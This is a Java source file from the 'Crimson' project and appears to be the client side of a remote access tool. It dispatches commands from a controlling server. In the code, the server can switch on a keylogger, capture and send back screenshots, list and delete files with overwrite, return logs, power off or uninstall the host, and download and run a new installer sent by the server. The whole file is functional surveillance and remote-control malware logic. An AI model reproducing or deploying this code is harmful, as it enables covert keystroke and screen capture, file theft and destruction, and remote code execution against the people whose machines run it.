/****************************************************************************** * * * Copyright 2016 Subterranean Security * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * * * *****************************************************************************/ package com.subterranean_security.crimson.client.net; import java.awt.HeadlessException; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import javax.security.auth.DestroyFailedException; import org.jnativehook.NativeHookException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.protobuf.ByteString; import com.subterranean_security.crimson.client.Client; import com.subterranean_security.crimson.client.modules.Keylogger; import com.subterranean_security.crimson.client.modules.Power; import com.subterranean_security.crimson.client.modules.QuickScreenshot; import com.subterranean_security.crimson.client.store.ConfigStore; import com.subterranean_security.crimson.client.stream.CInfoSlave; import com.subterranean_security.crimson.core.Common; import com.subterranean_security.crimson.core.misc.AuthenticationGroup; import com.subterranean_security.crimson.core.misc.HCP; import com.subterranean_security.crimson.core.net.BasicExecutor; import com.subterranean_security.crimson.core.net.Connector.ConnectionState; import com.subterranean_security.crimson.core.net.MessageFuture.Timeout; import com.subterranean_security.crimson.core.platform.LocalFS; import com.subterranean_security.crimson.core.platform.Platform; import com.subterranean_security.crimson.core.proto.ClientAuth.MI_GroupChallengeResult; import com.subterranean_security.crimson.core.proto.ClientAuth.RQ_GroupChallenge; import com.subterranean_security.crimson.core.proto.ClientAuth.RS_GroupChallenge; import com.subterranean_security.crimson.core.proto.ClientControl.RS_ChangeSetting; import com.subterranean_security.crimson.core.proto.FileManager.RQ_FileListing; import com.subterranean_security.crimson.core.proto.FileManager.RS_Delete; import com.subterranean_security.crimson.core.proto.FileManager.RS_FileHandle; import com.subterranean_security.crimson.core.proto.FileManager.RS_FileListing; import com.subterranean_security.crimson.core.proto.Generator.ClientConfig; import com.subterranean_security.crimson.core.proto.Keylogger.State; import com.subterranean_security.crimson.core.proto.Log.LogFile; import com.subterranean_security.crimson.core.proto.Log.LogType; import com.subterranean_security.crimson.core.proto.Log.RS_Logs; import com.subterranean_security.crimson.core.proto.MSG.Message; import com.subterranean_security.crimson.core.proto.Misc.Outcome; import com.subterranean_security.crimson.core.proto.Screenshot.RS_QuickScreenshot; import com.subterranean_security.crimson.core.proto.State.RS_ChangeClientState; import com.subterranean_security.crimson.core.proto.Stream.Param; import com.subterranean_security.crimson.core.proto.Update.RS_GetClientConfig; import com.subterranean_security.crimson.core.store.ConnectionStore; import com.subterranean_security.crimson.core.store.FileManagerStore; import com.subterranean_security.crimson.core.stream.Stream; import com.subterranean_security.crimson.core.stream.StreamStore; import com.subterranean_security.crimson.core.stream.remote.RemoteSlave; import com.subterranean_security.crimson.core.util.CryptoUtil; import com.subterranean_security.crimson.core.util.FileUtil; import com.subterranean_security.crimson.core.util.IDGen; import com.subterranean_security.crimson.core.util.RandomUtil; import com.subterranean_security.crimson.core.util.TempUtil; import com.subterranean_security.crimson.sc.Logsystem; import com.subterranean_security.crimson.universal.stores.DatabaseStore; import io.netty.util.ReferenceCountUtil; public class ClientExecutor extends BasicExecutor { private static final Logger log = LoggerFactory.getLogger(ClientExecutor.class); public ClientExecutor() { super(); dispatchThread = new Thread(() -> { while (!Thread.currentThread().isInterrupted()) { Message m; try { m = connector.msgQueue.take(); } catch (InterruptedException e) { return; } pool.submit(() -> { if (m.hasEvStreamData()) { ev_stream_data(m); } else if (m.hasEvEndpointClosed()) { ev_endpoint_closed(m); } else if (m.hasEvChatMessage()) { ev_chat_message(m); } else if (m.hasRqGroupChallenge()) { rq_group_challenge(m); } else if (m.hasMiChallengeResult()) { challengeResult_1w(m); } else if (m.hasRqFileListing()) { file_listing_rq(m); } else if (m.hasMiStreamStart()) { stream_start_ev(m); } else if (m.hasMiStreamStop()) { stream_stop_ev(m); } else if (m.hasRqChangeClientState()) { rq_change_client_state(m); } else if (m.hasRqFileHandle()) { rq_file_handle(m); } else if (m.hasRqAdvancedFileInfo()) { rq_advanced_file_info(m); } else if (m.hasRqGetClientConfig()) { rq_get_client_config(m); } else if (m.hasRsGenerate()) { rs_generate(m); } else if (m.hasRqQuickScreenshot()) { rq_quick_screenshot(m); } else if (m.hasRqDelete()) { rq_delete(m); } else if (m.hasRqLogs()) { rq_logs(m); } else if (m.hasRqChangeSetting()) { rq_change_setting(m); } else if (m.hasRqChat()) { rq_chat(m); } else if (m.hasRqAddTorrent()) { rq_add_torrent(m); } else { connector.addNewResponse(m); } ReferenceCountUtil.release(m); }); } }); } private void ev_stream_data(Message m) { Stream s = StreamStore.getStream(m.getEvStreamData().getStreamID()); if (s != null) { s.received(m); } } private void ev_endpoint_closed(Message m) { // remove half-open streams StreamStore.removeStreamsByCVID(m.getEvEndpointClosed().getCVID()); } private void ev_chat_message(Message m) { } private void rq_change_client_state(Message m) { log.debug("Received state change request: {}", m.getRqChangeClientState().getNewState().toString()); Outcome outcome = null; switch (m.getRqChangeClientState().getNewState()) { case RESTART: outcome = Power.restart(); break; case SHUTDOWN: outcome = Power.shutdown(); break; case HIBERNATE: outcome = Power.hibernate(); break; case STANDBY: outcome = Power.standby(); break; case UNINSTALL: outcome = Power.uninstall(); break; case RESTART_PROCESS: outcome = Power.restartProcess(); break; case KILL: outcome = Outcome.newBuilder().setResult(true).build(); break; default: return; } if (outcome != null) { connector.write(Message.newBuilder().setId(m.getId()).setRid(m.getSid()) .setRsChangeClientState(RS_ChangeClientState.newBuilder().setOutcome(outcome)).build()); } if (outcome.getResult()) { System.exit(0); } } private void rq_group_challenge(Message m) { if (connector.getState() != ConnectionState.AUTH_STAGE1) { return; } AuthenticationGroup group = Client.getGroup(); final byte[] groupKey = group.getGroupKey(); try { group.destroy(); } catch (DestroyFailedException e1) { } String result = CryptoUtil.hashSign(m.getRqGroupChallenge().getMagic(), groupKey); RS_GroupChallenge rs = RS_GroupChallenge.newBuilder().setResult(result).build(); connector.write(Message.newBuilder().setId(m.getId()).setRsGroupChallenge(rs).build()); } private void challengeResult_1w(Message m) { if (connector.getState() != ConnectionState.AUTH_STAGE1) { return; } if (!m.getMiChallengeResult().getResult()) { log.debug("Authentication with server failed"); connector.setState(ConnectionState.CONNECTED); return; } else { connector.setState(ConnectionState.AUTH_STAGE2); } AuthenticationGroup group = Client.getGroup(); final byte[] groupKey = group.getGroupKey(); try { group.destroy(); } catch (DestroyFailedException e1) { } // Send authentication challenge final int id = IDGen.msg(); final String magic = RandomUtil.randString(64); RQ_GroupChallenge rq = RQ_GroupChallenge.newBuilder().setGroupName(group.getName()).setMagic(magic).build(); connector.write(Message.newBuilder().setId(id).setRqGroupChallenge(rq).build()); new Thread(new Runnable() { public void run() { boolean flag = true; try { Message rs = connector.getResponse(id).get(7000); if (rs != null) { if (!CryptoUtil.verifyGroupChallenge(magic, groupKey, rs.getRsGroupChallenge().getResult())) { log.info("Server challenge failed"); flag = false; } } else { log.debug("No response to challenge"); flag = false; } } catch (InterruptedException e) { log.debug("No response to challenge"); flag = false; } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } MI_GroupChallengeResult.Builder oneway = MI_GroupChallengeResult.newBuilder().setResult(flag); if (flag) { connector.setState(ConnectionState.AUTHENTICATED); oneway.setPd(Platform.fig()); } else { // TODO handle more connector.setState(ConnectionState.CONNECTED); } connector.write(Message.newBuilder().setId(id).setMiChallengeResult(oneway.build()).build()); } }).start(); } private void file_listing_rq(Message m) { RQ_FileListing rq = m.getRqFileListing(); log.debug("file_listing_rq. fmid: " + rq.getFmid()); LocalFS lf = FileManagerStore.get(rq.getFmid()); if (rq.hasUp() && rq.getUp()) { lf.up(); } else if (rq.hasDown()) { if (rq.hasFromRoot() && rq.getFromRoot()) { lf.setPath(rq.getDown()); } else { lf.down(rq.getDown()); } } try { ConnectionStore.route(Message.newBuilder().setId(m.getId()) .setRsFileListing(RS_FileListing.newBuilder().setPath(lf.pwd()).addAllListing(lf.list())) .setSid(m.getRid()).setRid(m.getSid())); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private void rq_file_handle(Message m) { log.debug("rq_file_handle"); ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(m.getRid()) .setRsFileHandle(RS_FileHandle.newBuilder().setFmid(FileManagerStore.add(new LocalFS(true, true))))); } private void rq_advanced_file_info(Message m) { log.debug("rq_advance_file_info"); ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(m.getRid()) .setRsAdvancedFileInfo(LocalFS.getInfo(m.getRqAdvancedFileInfo().getFile()))); } private void rq_delete(Message m) { log.debug("rq_delete"); ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(m.getRid()) .setRsDelete(RS_Delete.newBuilder() .setOutcome(LocalFS.delete(m.getRqDelete().getTargetList(), m.getRqDelete().getOverwrite())))); } private void stream_start_ev(Message m) { Param p = m.getMiStreamStart().getParam(); if (p.hasInfoParam()) { StreamStore.addStream(new CInfoSlave(p)); } if (p.hasRemoteParam()) { StreamStore.addStream(new RemoteSlave(p)); } } private void stream_stop_ev(Message m) { StreamStore.removeStreamBySID(m.getMiStreamStop().getStreamID()); } private void rq_get_client_config(Message m) { ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(Common.cvid) .setRsGetClientConfig(RS_GetClientConfig.newBuilder().setConfig(ConfigStore.getConfig()))); } private void rs_generate(Message m) { // TODO flush any pending data // update client File temp = TempUtil.getDir(); try { FileUtil.writeFile(m.getRsGenerate().getInstaller().toByteArray(), new File(temp.getAbsolutePath() + "/installer.jar")); HCP.update(new File(temp.getAbsolutePath() + "/installer.jar").getAbsolutePath(), new String[] {}, new String[] {}, 2); System.exit(0); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private void rq_quick_screenshot(Message m) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { ImageIO.write(QuickScreenshot.snap(), "jpg", baos); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); return; } ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(Common.cvid) .setRsQuickScreenshot(RS_QuickScreenshot.newBuilder().setBin(ByteString.copyFrom(baos.toByteArray())))); try { baos.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private void rq_logs(Message m) { RS_Logs.Builder rs = RS_Logs.newBuilder(); if (m.getRqLogs().hasLog()) { rs.addLog(LogFile.newBuilder().setName(m.getRqLogs().getLog()) .setLog(Logsystem.getLog(m.getRqLogs().getLog()))); } else { for (LogType lt : Logsystem.getApplicableLogs()) { rs.addLog(LogFile.newBuilder().setName(lt).setLog(Logsystem.getLog(lt))); } } ConnectionStore .route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(Common.cvid).setRsLogs(rs)); } private void rq_change_setting(Message m) { Outcome.Builder outcome = Outcome.newBuilder().setResult(true); try { if (m.getRqChangeSetting().hasKeyloggerState()) { if (m.getRqChangeSetting().getKeyloggerState() == State.ONLINE) { try { Keylogger.start(ConfigStore.getConfig().getKeyloggerFlushMethod(), ConfigStore.getConfig().getKeyloggerFlushValue()); } catch (HeadlessException e) { outcome.setResult(false).setComment("HeadlessException"); return; } catch (NativeHookException e) { outcome.setResult(false).setComment(e.getMessage()); return; } } else { Keylogger.stop(); } } if (m.getRqChangeSetting().hasFlushMethod()) { ConfigStore.updateConfig( ClientConfig.newBuilder().setKeyloggerFlushMethod(m.getRqChangeSetting().getFlushMethod())); ConfigStore.saveIC(); } if (m.getRqChangeSetting().hasFlushValue()) { ConfigStore.updateConfig( ClientConfig.newBuilder().setKeyloggerFlushValue(m.getRqChangeSetting().getFlushValue())); ConfigStore.saveIC(); } if (m.getRqChangeSetting().hasFlushMethod() || m.getRqChangeSetting().hasFlushValue()) { try { Keylogger.start(ConfigStore.getConfig().getKeyloggerFlushMethod(), ConfigStore.getConfig().getKeyloggerFlushValue()); } catch (HeadlessException e) { outcome.setResult(false).setComment("HeadlessException"); return; } catch (NativeHookException e) { outcome.setResult(false).setComment(e.getMessage()); return; } } } finally { ConnectionStore.route(Message.newBuilder().setId(m.getId()).setRid(m.getSid()).setSid(Common.cvid) .setRsChangeSetting(RS_ChangeSetting.newBuilder().setResult(outcome))); } } private void rq_chat(Message m) { // TODO handle } private void rq_add_torrent(Message m) { } }